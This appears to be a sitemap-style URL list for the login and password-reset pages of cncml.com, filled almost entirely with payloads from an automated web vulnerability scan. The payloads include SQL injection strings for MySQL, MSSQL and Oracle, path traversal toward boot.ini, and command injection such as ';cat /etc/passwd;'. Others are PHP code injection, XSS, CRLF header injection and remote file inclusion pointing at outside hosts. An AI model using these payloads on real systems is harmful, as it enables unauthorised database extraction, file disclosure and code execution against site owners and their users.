http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20OR%2098=98%20AND%20('Ex'='Ex 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(42=42)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20('V6'='V6 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(63=11)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20('vA'='vA 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(91=26)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20('Tw'='Tw 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(94=94)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20('37'='37 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login';%20IF(14=14)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login';%20IF(86=26)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(18=18)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20(14=14 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(91=68)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20(91=91 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login);%20IF(54=54)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login);%20IF(63=55)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login,(SELECT%20(CASE%20WHEN%20(14=11)%20THEN%200x6C6F67696E%20ELSE%2014*(SELECT%2014%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login,(SELECT%20(CASE%20WHEN%20(21=27)%20THEN%200x6C6F67696E%20ELSE%2021*(SELECT%2021%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login,(SELECT%20(CASE%20WHEN%20(24=24)%20THEN%200x6C6F67696E%20ELSE%2024*(SELECT%2024%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login,(SELECT%20(CASE%20WHEN%20(61=61)%20THEN%200x6C6F67696E%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login,(SELECT%20(CASE%20WHEN%20(73=16)%20THEN%200x6C6F67696E%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login,(SELECT%20(CASE%20WHEN%20(82=82)%20THEN%200x6C6F67696E%20ELSE%2082*(SELECT%2082%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login1 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login6633x3X6 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=loginAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=loginJyI%3D 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=logina' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=loginalert(42873) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=logine360 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=phpinfo 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=set%7Cset&set 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=%3Cdir 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=(SELECT%20(CASE%20WHEN%20(14=14)%20THEN%200x6C6F67696E%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=(SELECT%20(CASE%20WHEN%20(15=15)%20THEN%200x6C6F67696E%20ELSE%2015*(SELECT%2015%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=(SELECT%20(CASE%20WHEN%20(23=23)%20THEN%200x6C6F67696E%20ELSE%2023*(SELECT%2023%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=(SELECT%20(CASE%20WHEN%20(31=41)%20THEN%200x6C6F67696E%20ELSE%2031*(SELECT%2031%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=(SELECT%20(CASE%20WHEN%20(51=69)%20THEN%200x6C6F67696E%20ELSE%2051*(SELECT%2051%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=(SELECT%20(CASE%20WHEN%20(51=89)%20THEN%200x6C6F67696E%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=(SELECT%20(CASE%20WHEN%20(71=71)%20THEN%200x6C6F67696E%20ELSE%2071*(SELECT%2071%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=(SELECT%20(CASE%20WHEN%20(86=84)%20THEN%200x6C6F67696E%20ELSE%2086*(SELECT%2086%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=(SELECT%20(CASE%20WHEN%20(91=12)%20THEN%200x6C6F67696E%20ELSE%2091*(SELECT%2091%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=................windowswin.ini 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=ELT(24=55,0x6C6F67696E) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=ELT(37=37,0x6C6F67696E) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=MAKE_SET(88=88,0x6C6F67696E) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=MAKE_SET(95=51,0x6C6F67696E) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=dir 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login 0.0020 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%00' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login%20AND%20SLEEP(5) 0.0001 